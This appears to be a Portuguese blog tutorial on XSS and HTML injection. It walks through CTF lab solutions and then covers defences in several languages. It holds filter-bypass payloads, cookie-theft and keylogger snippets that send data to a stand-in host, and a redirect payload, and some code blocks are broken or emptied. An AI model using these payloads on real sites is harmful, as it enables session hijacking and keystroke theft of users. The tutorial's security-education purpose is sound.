Post

XSS e HTML Injection - Tipos e Exploração

Entendendo Cross-Site Scripting: Reflected, Stored e DOM-based XSS com exemplos práticos

Entendendo XSS: Reflected, Stored e DOM-based

Se você já tentou fazer um input numa página web e viu seu texto aparecer na tela, provavelmente passou pela cabeça: “e se eu puder alterar o HTML ou botar um JavaScript aqui?”. Bem, essa curiosidade é exatamente o que leva ao XSS - Cross-Site Scripting.

O que é XSS?

XSS é quando conseguimos injetar código JavaScript numa aplicação web e fazer ele rodar no navegador de outras pessoas. Parece simples, mas as consequências podem ser gigantes:

  • Roubo de cookies/sessões - Pegar login de outras pessoas
  • Keylogger - Capturar tudo que a vítima digita
  • Phishing - Criar formulários falsos na própria página
  • Redirecionamentos - Mandar a pessoa pra site malicioso
  • Defacement - Modificar completamente a aparência do site

O mais insidioso é que a vítima vê a URL original do site, então confia completamente.

Reflected XSS - O clássico

Como funciona: O servidor “reflete” de volta exatamente o que você enviou, sem filtrar nada. É tipo um espelho - você manda algo, ele mostra de volta na página.

Exemplo prático

Imagina uma página de pesquisa simples:

1
2
3
4
5
<!-- index.html -->
<form method="GET">
    <input type="text" name="q" placeholder="Pesquisar...">
    <input type="submit" value="Buscar">
</form>
  • Formulário no HTML (frontend)
1
2
3
4
5
6
<!-- PHP no topo do arquivo -->
<?php
if (isset($_GET['q']) && !empty($_GET['q'])) {
    echo "Você pesquisou por: " . $_GET['q'];
}
?>
  • PHP no topo do arquivo (backend)

Testando a vulnerabilidade:

Primeiro, vamos ver se aceita injeção de HTML:

?q=<b>teste em negrito</b>

Se aparecer teste em negrito, temos confirmação de HTML injection. Agora o passo natural é testar tag script:

?q=<script>alert("XSS funcionando!")</script>

Bypass de filtros básicos:

Quando você testa XSS e o site bloqueia certas palavras, é hora de ser criativo. Vamos ver as formas de testar XSS:

1. Fechando tags existentes:

1
?q="><script>alert('bypass')</script>

Isso funciona porque muitas vezes seu input vai parar dentro de um atributo HTML tipo <input value="SEU_INPUT">. Quando você coloca ">, você fecha o atributo e a tag, podendo inserir HTML novo. É como “escapar” do contexto atual.

2. Usando event handlers em tags válidas:

1
?q=<img src=x onerror="alert('imagem com erro')">

O onerror dispara quando a imagem não carrega (e src=x obviamente não vai carregar). Funciona mesmo se bloquearem <script>.

3. SVG com JavaScript:

1
?q=<svg onload="alert('svg carregado')">

O SVG é HTML válido e o onload executa assim que o elemento carrega. Muitos filtros esquecem do SVG.

4. Outras técnicas (até algumas mais avançadas):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<!-- Se bloquearem aspas, usar / -->
?q=<script>alert(/XSS/)</script>

<!-- Se bloquearem "alert", usar confirm -->
?q=<script>confirm('XSS')</script>

<!-- Usando JavaScript: protocol -->
?q=<a href="javascript:alert('XSS')">clique</a>

<!-- Body onload -->
?q=<body onload="alert('XSS')">

<!-- Obfuscação real que funciona -->
?q=&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;/script&gt;
<!-- Decodifica para: <script>alert('XSS')</script> -->

<!-- URL encoding duplo -->
?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E

<!-- JavaScript ofuscado com eval + base64 (técnica real) -->
?q=<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
<!-- Base64 decodifica para: alert(1) -->

<!-- String.fromCharCode para burlar filtros de palavras -->
?q=<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<!-- Gera: alert(1) -->

<!-- Quebrar palavras com comentários HTML -->
?q=<scr<!---->ipt>alert(1)</scr<!---->ipt>

<!-- Case mixing (misturar maiúscula/minúscula) -->
?q=<ScRiPt>alert(1)</ScRiPt>

<!-- Abusando de whitespace e quebras de linha -->
?q=<script
>alert(1)</script
>

<!-- Usando caracteres unicode -->
?q=<script>alert\u0028\u0031\u0029</script>

Por que essas técnicas funcionam:

  • HTML entities: Browsers decodificam automaticamente &lt; para <
  • URL encoding duplo: Alguns servidores decodificam duas vezes
  • Base64 + eval: eval() executa string decodificada, burlando filtros de texto
  • String.fromCharCode: Constrói string dinamicamente, evitando palavras-chave
  • Comentários HTML: Quebram detecção de padrões <script>
  • Case mixing: Filtros case-sensitive não detectam
  • Whitespace: Quebra regex mal feitos
  • Unicode: Representa caracteres de forma alternativa

Na prática: Essas técnicas de obfuscação são amplamente documentadas em plataformas como OWASP e relatórios de bug bounty - como os da hackerone -, sendo encontradas frequentemente nessas pesquisas de segurança.

Explorando na prática

Melhores formas para praticar seria criando a própria máquina vulnerável para entender como é feito, usar o site phpvuln e as máquinas de plataformas como tryhackme, hackthebox e até a própria hackingclub - que é o que usarei para neste documento. Outras plataformas excelentes serão recomendadas no final do documento, algumas valem MUITO a pena, viu?

Máquina criada localmente para simular XSS:

1
2
3
4
5
<!-- index.html -->
<form method="GET">
    <input type="text" name="q" placeholder="Pesquisar...">
    <input type="submit" value="Buscar">
</form>
1
2
3
4
5
6
<!-- PHP no topo do arquivo -->
<?php
if (isset($_GET['q']) && !empty($_GET['q'])) {
    echo "Você pesquisou por: " . $_GET['q'];
}
?>
1
http://localhost:8888/index.php?q=<scrip>alert('XSS!!')</script>

O navegador vê <script> como código legítimo → executa → alert aparece.

Podemos tentar evitar isso no php ao utilizarmos htmlspecialchars

1
2
3
4
5
<?php
if (isset($_GET['q']) && !empty($_GET['q'])) {
    echo "Você pesquisou por: " . htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
}
?>

Agora resolvendo as máquinas do hackingclub

No container de teste XSS Reflected (10.10.0.3) encontrei um formulário de contato que refletia dados na URL:

1
http://10.10.0.3/?name=matheus&email=matheus%40laidler.com&message=teste
  • formulário normal
1
http://10.10.0.3/?name=<b>matheus</b>&email=matheus%40laidler.com&message=teste
  • testando injeção html
1
http://10.10.0.3/?name=<script>alert('teste xss')</script>&email=matheus%40laidler.com&message=teste
  • testando xss -> gerou flag no formulário

Resultado: Flag capturada! CS{XSS_R3fl3ct3d_34sy}

Roubo de sessão via cookie:

1
2
3
4
5
6
7
8
9
10
11
<!--
// Criar cookie de teste no F12
// document.cookie = "sessao=dados_secretos"

// Payload para roubar -->
<script>alert(document.cookie)</script>

<script>
// Enviando para servidor malicioso
fetch('http://meuservidor.com/roubar.php?cookie=' + document.cookie)
</script>

A pegadinha do Reflected XSS: Você precisa fazer a vítima clicar no seu link malicioso. Por isso funciona bem em phishing - “Clica aqui pra ver sua fatura” e o link tem a payload XSS. A vítima clica, a página executa seu JavaScript, e você rouba a sessão dela.

Stored XSS - O persistente

Como funciona: Sua payload fica salva no servidor (banco de dados, arquivo, etc) e executa toda vez que alguém acessa a página.

Por que é mais perigoso?

Stored XSS é como envenenar o fornecimento de água da cidade, ao invés de entregar um copo de água envenenado diretamente para o alvo (Reflected).

  • Sem engenharia social - Você não precisa convencer ninguém a clicar em nada suspeito
  • Atinge todos - Todo mundo que visita a página é afetado automaticamente
  • Persistente - Sua payload fica lá funcionando 24/7 até alguém descobrir e remover
  • Escala real - Se for um site popular, você pode afetar milhares de pessoas

Enquanto em um deles você precisa fazer engenharia social para convencer a pessoa a beber a água do copo, no outro você envenenou a fonte para que qualquer pessoa que beber, incluíndo seu alvo, irá ser afetada.

Exemplo prático

Testando o comment box que salva mensagens no servidor:

1
2
<!-- Primeiro teste: HTML injection -->
<b>Comentário em negrito</b>

Não funcionou imediatamente, apenas ao recarregar a página e fazer puxar do backend: apareceu em negrito. Confirmamos que temos HTML injection. Vamos tentar aplicar javascript:

1
2
<!-- Escalando para JavaScript -->
<script>alert('Stored XSS funcionando!')</script>

Agora qualquer pessoa que acessar essa página vai ter o script executando automaticamente.

Resultado: Flag capturada! CS{XSS_St0r3d_l1k3_4_b0ss}

Diferença técnica: O backend armazena nossa payload e serve ela pra todos os visitantes, não apenas reflete de volta.

DOM-based XSS - O invisível

Como funciona: A vulnerabilidade está no JavaScript do frontend, não no backend, ou seja, o servidor NUNCA verá a payload.

Por que DOM-based é diferente?

DOM-based XSS é como um assaltante que entra pela janela enquanto todo mundo está vigiando a porta da frente:

  • Backend cego - O servidor nem sabe que tem JavaScript malicioso rodando
  • Manipulação direta - O próprio JavaScript da página processa seus dados e se sabota
  • Invisível nos logs - Não deixa rastro no servidor, só no navegador da vítima
  • Mais difícil de encontrar - Ferramentas de scanner não detectam facilmente

Basicamente, você usa o próprio código JavaScript da página contra ela mesma.

Encontrando DOM XSS no container

Nesse container DOME do hackingclub temos com um campo de pesquisa que funcionava, printava na tela o que pesquisamos e refletia a pesquisa na url:

1
2
3
parametro url> 10.10.0.3/?search=teste

0 resultados para 'teste'

Inspecionando o código, vi que o “teste” nem aparecia no HTML fonte, como se teste fosse o valor de uma variável.

Então logo o código vulnerável foi encontrado:

1
2
3
4
5
6
7
8
9
10
11
12
13
<h1><span>0 results for '</span><span id="searchMessage"></span><span>'</span></h1>

<script>
    function pesquisar(pesquisa) {
        document.getElementById('searchMessage').innerHTML = pesquisa;
    }

    var pesquisa = (new URLSearchParams(window.location.search)).get('search');
    if (pesquisa) {
        pesquisar(pesquisa);
    }
</script>

Um resumo rápido do que encontramos é o fato do front-end estar alterando o conteúdo da variável, o que queremos pesquisar está dentro de searchMessage e o maior problema está no innerHTML sem sanitização, permitindo injeção de payload XSS.

Testando injeção no paramertro da url:

1
?search=<b style="color: red">texto vermelho</b>

Funcionou! Agora JavaScript:

1
?search=<script>alert('DOM XSS funcionando!')</script>

Resultado: Flag capturada! CS{XSS_D0M_B4s3d}

Diferença técnica: O frontend manipula o DOM diretamente baseado nos parâmetros da URL, sem enviar nada pro servidor.

Payloads que realmente funcionam

Depois de testar XSS em diferentes laboratórios e sites, aqui estão alguns payloads que podem ter utilidade para seus estudos. Cada um tem sua especialidade, deixarei alguns abaixo com base no que apresentamos nesta documentação:

Básicos para teste

1
2
3
4
<script>alert('XSS')</script>
<img src=x onerror="alert('XSS')">
<svg onload="alert('XSS')">
<body onload="alert('XSS')">

Bypass de filtros

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!-- Se bloquear "script" --> 
<img src=x onerror="alert('bypass')">

<!-- Se bloquear "alert" --> 
<script>confirm('bypass')</script>

<!-- Se bloquear aspas -->
<script>alert(/XSS/)</script>

<!-- Encoding --> 
<script>alert(String.fromCharCode(88,83,83))</script>

<!-- Event handlers -->
<input onfocus="alert('XSS')" autofocus>
1
2
3
var cookie = document.cookie;
var img = new Image();
img.src = "http://meuservidor.com/roubar.php?cookie=" + cookie;

Keylogger básico

1
2
3
4
document.addEventListener('keypress', function(e) {
    var img = new Image();
    img.src = "http://meuservidor.com/keys.php?key=" + e.key;
});

Redirecionamento

1
window.location = "http://sitemalicioso.com";

Explorando diferentes tecnologias

Server-Side Template Injection (SSTI) que vira XSS:

Algumas aplicações usam template engines que podem ser explorados:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// Jinja2 (Python/Flask)
 // Testa se executa (retorna 7777777)
 // Vaza configurações


// Handlebars (Node.js)

  
    
      
      
        
          
            
          
        
      
    
  


// Angular (1.x)

GraphQL injection:

1
2
3
4
5
6
// Em queries GraphQL
{
  user(id: "<img src=x onerror=alert(1)>") {
    name
  }
}

JSON injection em APIs:

1
2
3
4
{
  "nome": "</script><script>alert('XSS')</script>",
  "email": "test@test.com"
}

Esses vetores são específicos de cada tecnologia e requerem conhecimento da stack da aplicação.

Como não virar vítima (Proteção completa)

Agora que você sabe como explorar XSS, vamos ver como se defender de verdade. É tipo conhecer as táticas do ladrão para trancar a casa direito.

Regra número 1: Nunca confie no input do usuário

JAMAIS coloque dados vindos do usuário diretamente na página. Sempre trate, sempre valide, sempre suspeite. Se você só fizer isso, já evita 90% dos XSS.

Backend: A primeira linha de defesa

PHP - Sanitização inteligente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
// ERRADO - Vulnerável
echo "Você pesquisou: " . $_GET['q'];

// CORRETO - Sanitização básica
$input = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "Você pesquisou: " . $input;

// AINDA MELHOR - Validação + sanitização contra obfuscação
function sanitizar_input_avancado($input) {
    // Remove tags HTML completamente
    $input = strip_tags($input);
    
    // Decodifica HTML entities para detectar payloads ofuscados
    $input = html_entity_decode($input, ENT_QUOTES, 'UTF-8');
    
    // Decodifica URL encoding (uma vez)
    $input = urldecode($input);
    
    // Remove caracteres perigosos
    $input = preg_replace('/[<>"\']/', '', $input);
    
    // Bloqueia palavras-chave mesmo ofuscadas
    $palavras_perigosas = ['script', 'javascript', 'eval', 'onclick', 'onerror', 'onload'];
    foreach ($palavras_perigosas as $palavra) {
        if (stripos($input, $palavra) !== false) {
            return false; // Bloqueia input
        }
    }
    
    // Remove caracteres de controle e unicode suspeitos
    $input = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $input);
    $input = preg_replace('/\\\\u[0-9a-fA-F]{4}/', '', $input);
    
    return trim($input);
}

$pesquisa = sanitizar_input_avancado($_GET['q']);
if ($pesquisa === false) {
    die('Input bloqueado por conter conteúdo suspeito');
}

// Validação por tipo de campo
function validar_email($email) {
    return filter_var($email, FILTER_VALIDATE_EMAIL);
}

function validar_nome($nome) {
    // Só letras, espaços e acentos
    return preg_match('/^[a-zA-ZÀ-ÿ\s]+$/', $nome);
}
?>

Por que cada função?

  • htmlspecialchars(): Converte < em &lt;, impedindo tags HTML
  • strip_tags(): Remove todas as tags HTML de uma vez
  • preg_replace(): Remove caracteres específicos que podem quebrar contexto
  • trim(): Remove espaços em branco que podem esconder payloads

Backend em outras linguagens

Node.js/JavaScript:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const validator = require('validator');
const xss = require('xss');

// Sanitização básica
function sanitizarInput(input) {
    // Remove HTML malicioso
    input = xss(input, {
        whiteList: {}, // Nenhuma tag permitida
        stripIgnoreTag: true,
        stripIgnoreTagBody: ['script']
    });
    
    // Validação adicional
    return validator.escape(input);
}

// Express.js middleware
app.use((req, res, next) => {
    Object.keys(req.body).forEach(key => {
        if (typeof req.body[key] === 'string') {
            req.body[key] = sanitizarInput(req.body[key]);
        }
    });
    next();
});

Python/Django:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from django.utils.html import escape
from bleach import clean
import re

def sanitizar_input_avancado(input_data):
    # Remove HTML malicioso com bleach
    input_data = clean(input_data, tags=[], strip=True)
    
    # Escape caracteres HTML
    input_data = escape(input_data)
    
    # Detecta obfuscação
    patterns_suspeitos = [
        r'eval\s*\(',
        r'atob\s*\(',
        r'fromCharCode',
        r'javascript:',
        r'\\u[0-9a-fA-F]{4}'
    ]
    
    for pattern in patterns_suspeitos:
        if re.search(pattern, input_data, re.IGNORECASE):
            raise ValueError("Conteúdo suspeito detectado")
    
    return input_data

# No Django views
from django.views.decorators.csrf import csrf_protect

@csrf_protect
def minha_view(request):
    user_input = sanitizar_input_avancado(request.POST.get('input', ''))

Java/Spring:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizers;
import org.springframework.web.util.HtmlUtils;

@Component
public class XSSProtection {
    
    private final PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.LINKS);
    
    public String sanitizarInput(String input) {
        // Remove HTML malicioso
        input = policy.sanitize(input);
        
        // Escape caracteres HTML
        input = HtmlUtils.htmlEscape(input);
        
        // Detecta obfuscação
        String[] patterns = {"eval(", "atob(", "fromCharCode", "javascript:"};
        for (String pattern : patterns) {
            if (input.toLowerCase().contains(pattern.toLowerCase())) {
                throw new SecurityException("Conteúdo suspeito detectado");
            }
        }
        
        return input;
    }
}

// No Controller
@PostMapping("/dados")
public ResponseEntity<?> receberDados(@RequestBody String input) {
    String inputLimpo = xssProtection.sanitizarInput(input);
    // processar input limpo
}

React (frontend adicional):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import DOMPurify from 'dompurify';

// Componente seguro
function ComponenteSeguro({ userContent }) {
    // NUNCA faça isto:
    // return <div dangerouslySetInnerHTML= />
    
    // Faça isto:
    const conteudoLimpo = DOMPurify.sanitize(userContent);
    return <div dangerouslySetInnerHTML= />
    
    // Ou melhor ainda:
    return <div>{userContent}</div> // React escapa automaticamente
}

// Hook personalizado para sanitização
function useSanitizedInput(input) {
    const [sanitized, setSanitized] = useState('');
    
    useEffect(() => {
        const cleaned = DOMPurify.sanitize(input, {
            ALLOWED_TAGS: [],
            ALLOWED_ATTR: []
        });
        setSanitized(cleaned);
    }, [input]);
    
    return sanitized;
}

Configurações no servidor (.htaccess)

Coloque isso no seu .htaccess para uma proteção extra:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Bloquear caracteres perigosos na URL
RewriteEngine On
RewriteCond %{QUERY_STRING} [<>] [OR]
RewriteCond %{QUERY_STRING} javascript: [OR]
RewriteCond %{QUERY_STRING} <script [NC,OR]
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} (<|%3C).*iframe.*(>|%3E) [NC]
RewriteRule ^(.*)$ - [F,L]

# Headers de segurança
Header always set X-Content-Type-Options nosniff
Header always set X-Frame-Options DENY
Header always set X-XSS-Protection "1; mode=block"

# Content Security Policy básico
Header always set Content-Security-Policy "default-src 'self'; script-src 'self'"

Entendendo as camadas de defesa (e por que frontend sozinho não basta)

Você tocou num ponto importante: se a proteção está no frontend, não dá para contornar? Sim, dá. Por isso defesa em camadas é fundamental.

Camada 1 - Servidor (Backend):

  • Sanitização e validação no servidor
  • Não pode ser burlada pelo usuário
  • Protege contra Reflected e Stored XSS
  • Funciona mesmo se JavaScript estiver desabilitado

Camada 2 - Headers HTTP:

  • CSP, X-XSS-Protection, X-Frame-Options
  • Configurados no servidor, executados pelo browser
  • Protege contra DOM-based XSS e ataques client-side

Camada 3 - Frontend:

  • Sanitização JavaScript, uso correto de APIs
  • Pode ser burlada se atacante controlar o cliente
  • Protege usuários normais contra DOM-based XSS
  • Funciona como última linha de defesa

Por que cada camada importa:

Se você burlar o frontend (desabilitando JavaScript, modificando código), ainda tem o backend bloqueando Reflected e Stored XSS. Se você conseguir injetar no banco (SQL injection + stored XSS), ainda tem o CSP bloqueando execução.

Exemplo prático de ataque vs defesa:

1
2
3
4
Ataque: <script>alert(1)</script>
├─ Frontend: Bloqueia se você não mexer no código
├─ Backend: Bloqueia sempre (htmlspecialchars)
└─ CSP: Bloqueia mesmo se passar backend (script-src 'self')

Se uma falhar, as outras seguram. É tipo ter 3 fechaduras na porta.

Content Security Policy (CSP) - A barreira definitiva

CSP é tipo um segurança na porta da balada - decide quem pode entrar e quem não pode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!-- Nível iniciante: só scripts do próprio site -->
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

<!-- Nível intermediário: específico por tipo de conteúdo -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' https://apis.google.com; 
               style-src 'self' 'unsafe-inline'; 
               img-src 'self' data: https:;">

<!-- Nível anti-obfuscação: máxima proteção -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; 
               script-src 'self' 'nonce-123abc' 'sha256-hash'; 
               script-src-attr 'none';
               object-src 'none'; 
               base-uri 'none';
               require-trusted-types-for 'script';">

Proteção específica contra obfuscação:

  • script-src-attr 'none': Bloqueia TODOS os event handlers inline (onclick, onerror, etc)
  • 'nonce-123abc': Só scripts com nonce específico executam
  • 'sha256-hash': Só scripts com hash conhecido executam
  • require-trusted-types-for 'script': Força uso de Trusted Types API

Como funciona na prática:

  • 'self': Só do mesmo domínio
  • 'none': Nada permitido
  • 'unsafe-inline': Permite scripts inline (NUNCA use!)
  • 'unsafe-eval': Permite eval() (NUNCA use - usado em obfuscação!)
  • URLs específicas: Só de domínios confiáveis
  • Nonce: Token único por página, impede XSS mesmo com HTML injection

Frontend: JavaScript seguro

!!! Perigoso - innerHTML:

1
2
// NUNCA faça isso com dados do usuário
document.getElementById('resultado').innerHTML = dadosDoUsuario;

+ Seguro (textContent):

1
2
3
4
5
6
7
8
9
// Sempre use textContent para texto simples
document.getElementById('resultado').textContent = dadosDoUsuario;

// Para HTML específico, sanitize antes
function sanitizarHTML(html) {
    const div = document.createElement('div');
    div.textContent = html;
    return div.innerHTML;
}

Sanitização frontend contra obfuscação:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
function sanitizar_completo_anti_obfuscacao(input) {
    // Decodifica HTML entities primeiro
    const textarea = document.createElement('textarea');
    textarea.innerHTML = input;
    input = textarea.value;
    
    // Decodifica URL encoding
    try {
        input = decodeURIComponent(input);
    } catch(e) {
        // Se falhar decodificação, input pode ser malicioso
        return '';
    }
    
    // Remove scripts (inclusive ofuscados)
    input = input.replace(/<script[\s\S]*?<\/script>/gi, '');
    input = input.replace(/<scr[\s\S]*?ipt[\s\S]*?>/gi, ''); // scr<!---->ipt
    
    // Remove TODOS os event handlers (principal vetor de obfuscação)
    input = input.replace(/on\w+\s*=\s*["'][^"']*["']/gi, '');
    input = input.replace(/on\w+\s*=\s*[^>\s]*/gi, '');
    
    // Bloqueia javascript: protocol
    input = input.replace(/javascript\s*:/gi, '');
    
    // Remove eval, atob e fromCharCode (principais funções de obfuscação)
    input = input.replace(/eval\s*\(/gi, '');
    input = input.replace(/atob\s*\(/gi, '');
    input = input.replace(/fromCharCode\s*\(/gi, '');
    
    // Remove tags perigosas
    const tagsPerigosas = ['script', 'iframe', 'object', 'embed', 'form', 'svg'];
    tagsPerigosas.forEach(tag => {
        const regex = new RegExp('<' + tag + '[^>]*>', 'gi');
        input = input.replace(regex, '');
    });
    
    // Remove caracteres unicode suspeitos
    input = input.replace(/\\u[0-9a-fA-F]{4}/g, '');
    
    return input;
}
    input = input.replace(/on\w+\s*=\s*["'][^"']*["']/gi, '');
    
    // Remove javascript: protocol
    input = input.replace(/javascript:/gi, '');
    
    // Remove tags perigosas
    const tagsPerigosas = ['script', 'iframe', 'object', 'embed', 'form'];
    tagsPerigosas.forEach(tag => {
        const regex = new RegExp('<' + tag + '\\b[^>]*>', 'gi');
        input = input.replace(regex, '');
    });
    
    return input;
}

// Validação de URL antes de redirecionamento
function redirecionarSeguro(url) {
    // Só permite URLs do mesmo domínio ou HTTPS
    if (url.startsWith('/') || url.startsWith('https://seudominio.com')) {
        window.location = url;
    } else {
        console.error('Redirecionamento bloqueado: ' + url);
    }
}

Validação de entrada: Cada campo tem sua regra

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
function validar_por_campo($valor, $tipo) {
    switch($tipo) {
        case 'nome':
            // Só letras, acentos e espaços
            return preg_match('/^[a-zA-ZÀ-ÿ\s]{2,50}$/', $valor);
            
        case 'email':
            return filter_var($valor, FILTER_VALIDATE_EMAIL);
            
        case 'telefone':
            // Formato brasileiro
            return preg_match('/^\(\d{2}\)\s\d{4,5}-\d{4}$/', $valor);
            
        case 'comentario':
            // Remove HTML, mantém texto
            $limpo = strip_tags($valor);
            return strlen($limpo) <= 500 ? $limpo : false;
            
        case 'url':
            return filter_var($valor, FILTER_VALIDATE_URL);
            
        default:
            return false;
    }
}

// Uso prático
$nome = validar_por_campo($_POST['nome'], 'nome');
if ($nome === false) {
    die('Nome inválido');
}
?>

Detectando obfuscação em tempo real

Como identificar tentativas de obfuscação:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
function detectar_obfuscacao($input) {
    $indicadores_suspeitos = [
        'eval(',
        'atob(',
        'fromCharCode',
        'String.fromCharCode',
        'javascript:',
        '<!---->',  // Quebra de palavras
        'script>',  // Possível obfuscação case
        '\\u00',     // Unicode escape
        '%3C',      // < encoded
        '%3E',      // > encoded
        'base64'
    ];
    
    $score_suspeita = 0;
    foreach ($indicadores_suspeitos as $indicador) {
        if (stripos($input, $indicador) !== false) {
            $score_suspeita++;
        }
    }
    
    // Se mais de 2 indicadores, muito suspeito
    if ($score_suspeita >= 2) {
        error_log("Tentativa de XSS ofuscado detectada: " . $input);
        return true;
    }
    
    return false;
}

if (detectar_obfuscacao($_GET['input'])) {
    die('Input bloqueado: conteúdo suspeito detectado');
}
?>

Headers de segurança essenciais

Configure seu servidor para enviar estes headers:

1
2
3
4
5
6
7
8
9
10
11
# Evita que o browser "adivinhe" o tipo de arquivo
X-Content-Type-Options: nosniff

# Impede carregamento em frames (clickjacking)
X-Frame-Options: DENY

# Ativa proteção XSS do browser (backup)
X-XSS-Protection: 1; mode=block

# Força HTTPS (se disponível)
Strict-Transport-Security: max-age=31536000; includeSubDomains

Escape por contexto: Lugar certo, proteção certa

Cada lugar da página precisa de escape diferente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$usuario_input = "<script>alert('xss')</script>";

// Para HTML normal
echo htmlspecialchars($usuario_input, ENT_QUOTES, 'UTF-8');
// Saída: &lt;script&gt;alert(&#039;xss&#039;)&lt;/script&gt;

// Para JavaScript (dentro de strings)
echo json_encode($usuario_input);
// Saída: "<script>alert('xss')<\/script>"

// Para URLs
echo urlencode($usuario_input);
// Saída: %3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E

// Para CSS (evite se possível)
function escapar_css($input) {
    return preg_replace('/[^a-zA-Z0-9]/', '\\\\$0', $input);
}
?>

Proteção em camadas contra obfuscação

📋 Checklist anti-obfuscação:

Decodificação preventiva: Sempre decodifique HTML entities e URL antes de validar
Blacklist inteligente: Bloqueie eval, atob, fromCharCode, javascript:
CSP restritivo: Use script-src-attr 'none' para bloquear event handlers
Nonce/Hash: Force scripts específicos, impedindo injeção
Monitoramento: Log tentativas de obfuscação para análise
WAF configurado: Regras específicas para payloads ofuscados

🚨 Sinais de tentativa de obfuscação:

  • Múltiplas codificações (URL + HTML + Unicode)
  • Funções suspeitas (eval, atob, fromCharCode)
  • Quebra de palavras com comentários HTML
  • Unicode escapes (\u0061 para a)
  • Base64 em contextos suspeitos

⚠️ Lembre-se: Atacantes sempre encontram novas formas de obfuscar. A defesa deve ser em camadas: validação + sanitização + CSP + monitoramento.

Bibliotecas que fazem o trabalho pesado

Para PHP:

  • HTML Purifier: Sanitização HTML completa
  • Twig: Template engine com escape automático
  • Laminas\Escaper: Escape por contexto

Para JavaScript:

  • DOMPurify: Sanitização HTML no frontend
  • js-xss: Biblioteca específica para prevenir XSS
1
2
3
// Exemplo com DOMPurify
const dadosLimpos = DOMPurify.sanitize(dadosDoUsuario);
document.getElementById('conteudo').innerHTML = dadosLimpos;

Checklist final de proteção

Input: Sempre valide e sanitize
Output: Escape apropriado para cada contexto
CSP: Configurado e restritivo
Headers: X-XSS-Protection, X-Content-Type-Options
HTTPS: Sempre que possível
Atualização: Frameworks e bibliotecas atualizados
Teste: Scanner de vulnerabilidades regular

O que NÃO funciona (mitos da segurança)

“Só bloquear script resolve” - Existem dezenas de outras tags
“Filtro no frontend é suficiente” - Cliente nunca é confiável
“WAF resolve tudo” - É complemento, não solução única
“Encoding resolve” - Só em contextos específicos
“Blacklist é melhor” - Whitelist sempre ganha

Lembre-se: Segurança em geral se da por camadas. Uma proteção falha? As outras seguram. É como trancar a porta, janela E colocar alarme… paranóico, mas efetivo.

Ferramentas para testar XSS

Estas são as ferramentas que eu realmente uso (não é só lista de Wikipedia):

  • Burp Suite - O canivete suíço. Intercepta e modifica requisições em tempo real
  • XSSer - Scanner automático que testa centenas de payloads diferentes
  • BeEF - Framework para controlar navegadores comprometidos (muito sinistro)
  • OWASP ZAP - Alternativa gratuita ao Burp, ótima para começar
  • Teclado - F12 no Browser - Nunca subestime as ferramentas do desenvolvedor do navegador

Labs para praticar sem quebrar a lei

Esses são os playgrounds onde você pode testar à vontade:

  • DVWA - Damn Vulnerable Web Application (MT BOM)
  • WebGoat - Labs oficiais da OWASP, muito didáticos
  • XSS Game - Desafio interativo do Google
  • bWAPP - Buggy Web Application com vários níveis
  • PortSwigger Academy - Labs gratuitos da galera do Burp Suite
  • TryHackMe - Máquinas com XSS + explicações básicas
  • Hacking Club - Aulas e máquinas XSS (meu favorito)
  • Acunetix Testphp - Site vulnerável para estudo testphp.vulnweb.com

O que você precisa lembrar

Reflected XSS: O site “cospe” de volta o que você mandou → Precisa convencer a vítima a clicar
Stored XSS: Sua bomba fica plantada no servidor → Explode em todo mundo que visita
DOM-based XSS: O próprio JavaScript da página se sabota → Servidor nem percebe

A regra de ouro: Se você conseguir injetar HTML (tipo <b>negrito</b>), provavelmente consegue injetar JavaScript também. É só questão de criatividade para burlar os filtros.

Dica de ouro: Sempre teste primeiro com HTML simples. Se funcionar, escalade para JavaScript. Se não funcionar, não perca tempo com payloads complexos.

Flags capturadas nos testes:

  • Reflected: CS{XSS_R3fl3ct3d_34sy}
  • Stored: CS{XSS_St0r3d_l1k3_4_b0ss}
